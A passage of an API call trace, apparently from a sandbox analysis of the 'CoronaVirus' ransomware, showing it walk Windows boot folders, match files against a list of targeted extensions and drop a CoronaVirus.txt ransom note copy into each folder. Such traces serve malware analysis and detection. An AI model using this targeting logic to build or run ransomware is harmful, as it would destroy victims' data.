	[0083.125] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.125] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.125] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.126] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.126] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.126] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.126] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.126] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.126] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.126] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae7b43f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeae7b43f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.126] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.126] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.126] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.126] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.126] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.126] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.126] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.126] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.126] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.126] malloc (_Size=0x1000) returned 0x2f31590
	[0083.126] _swprintf (in: param_1=0x2f31590, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-GB\\CoronaVirus.txt") returned 29
	[0083.126] wcsstr (_Str="C:\\Boot\\en-GB\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.126] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae7b43f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeae7b43f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.126] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0083.127] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0083.127] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.127] wcsncmp (_String1="en", _String2="..", _MaxCount=0x2) returned 55
	[0083.127] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US") returned 13
	[0083.127] wcsncmp (_String1="C:\\Boot\\e", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.127] wcsstr (_Str="C:\\Boot\\en-US", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.127] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\en-US\\CoronaVirus.txt" (normalized: "c:\\boot\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.129] _alloca_probe () returned 0x4036d0
	[0083.129] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x316583c*="en-US") returned 0xd
	[0083.129] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeae7b43f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0083.130] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.130] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeae7b43f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.130] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.130] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.130] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.130] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.130] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.130] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.131] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.131] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.132] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.132] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.133] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.133] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.133] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.133] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.133] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae7b43f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeae7b43f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.133] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.133] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.133] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.133] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.133] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.133] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.133] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.133] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.133] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.133] malloc (_Size=0x1000) returned 0x2f32598
	[0083.139] _swprintf (in: param_1=0x2f32598, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US\\CoronaVirus.txt") returned 29
	[0083.139] wcsstr (_Str="C:\\Boot\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.139] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.139] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.139] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.139] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.139] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.139] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.140] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.140] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.140] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.140] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.140] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.140] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.140] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.140] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.140] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.141] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.141] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.141] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.141] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.141] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.141] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.141] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.141] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.141] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.141] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.141] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.142] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.142] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.142] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.142] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.142] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.142] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.142] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.147] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.147] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.147] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.147] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.147] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.148] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.148] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.148] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.148] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.148] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.149] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.149] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.149] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.149] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.149] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.149] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.149] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.149] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.149] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.149] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.149] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.149] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.150] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.150] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.150] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.150] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.150] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.150] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.150] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.150] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.156] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.156] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.156] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.156] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.157] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.157] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
